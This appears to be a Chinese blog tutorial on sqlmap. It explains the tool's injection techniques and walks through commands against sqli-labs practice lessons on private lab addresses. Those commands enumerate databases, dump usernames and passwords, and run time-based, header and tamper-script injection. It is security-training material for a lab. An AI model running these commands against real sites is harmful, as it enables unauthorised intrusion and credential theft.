SQLmap简介
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等
Sqlmap采用了以下5种独特的SQL注入技术
- 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
- 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
- 联合查询注入,在可以使用Union的情况下注入
- 堆查询注入,可以同时执行多条语句时的注入
Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。
官网:
http://sqlmap.org
SQLmap下载安装
访问官网 http://sqlmap.org
进入下载
- 如图,zip为windows版本,tar.gz为linux版本
- SQLmap因为是python脚本编写的。所以还需要python。我这里下载python2
访问https://www.python.org/
然后downloads根据提示就好了
SQLmap确定目标
SQLmap直连数据库
- sqlmap -d “数据库类型://用户名:密码@ip地址:端口/数据库名” -f --banner
比如:sqlmap -d “mysql://root:root@192.168.114.129:3306/dvwa” -f --banner
直连数据库获得用户及权限:
python sqlmap .py sqlmap -d “mysql://root:root@192.168.114.129:3306/dvwa” -f --banner -users
SQLmap的url探测
探测sqlilabs 的lesson-1
输入
sqlmap -u "192.168.114.129:83/Less-1/?id=1" --banner
可以查到banner为5.7.26
- sqlmap的url探测
- Sqlmap直接对单一URL探测,参数使用-u或–url
get方式:sqlmap -u “url”
post方式:sqlmap -u “url” --data “post数据”
- Sqlmap直接对单一URL探测,参数使用-u或–url
sqlmap -u “http://192.168.114.129:83/Less-19/?id=1”-f --banner --data “uname=admin&passwd=12344444&submit=Submit”
SQLmap文件读取目标
Sqlmap支持从不同类型的文件中读取目标进行Sql注入探测。
1、-l从Burpsuite proxy或WebScarab proxy中读取Http请求日志文件
2、-× 从sitemap.xml站点地图文件中读取目标探测。
3、-m从多行文本格式文件读取多个目标,对多个目标进行探测。
4、-r从文本文件中读取Http请求作为Sql注入探测的目标。
5、-c从配置文件sqlmap.conf中读取目标探测。
SQLmap实操
sqlmap完整get注入
1、探测数据库名
sqlmap -u “http://192.168.137.200:8088/Less-1/?id=1” --dbs --batch
2、探测表名
sqlmap -u “http://192.168.137.200:8088/Less-1/?id=1” -D security --tables --batch
3、探测字段名
sqlmap -u “http://192.168.137.200:8088/Less-1/?id=1” -D security -T users --columns --batch
4、探测 字段值
sqlmap -u “http://192.168.137.200:8088/Less-1/?id=1” -D security -T users -C username,password --dump --batch
探测post盲注
1.用bp抓包生成一个txt文件并保存
2.使用基于时间技术的sqlmap探测
python sqlmap.py -r target.txt --technique T -p uname
python sqlmap.py -r target.txt --technique T -p uname --dbs
基于时间的所以会比较慢
http头注入
指定注入位置进行注入,在保存的文件中,对于参数的修改为*,保存在txt文档中
然后Sqlmap -r /root/sqli_Less-19.txt 。
sqlmap tamper脚本注入
脚本位置在sqlmap下载的tamper目录
随便用一个。比如sqlilabs 的less-33宽字节注入
──(root㉿kali)-[~] └─# sqlmap -u "http://192.168.114.129:83/Less-33/?id=1" --tamper unmagicquotes –dbs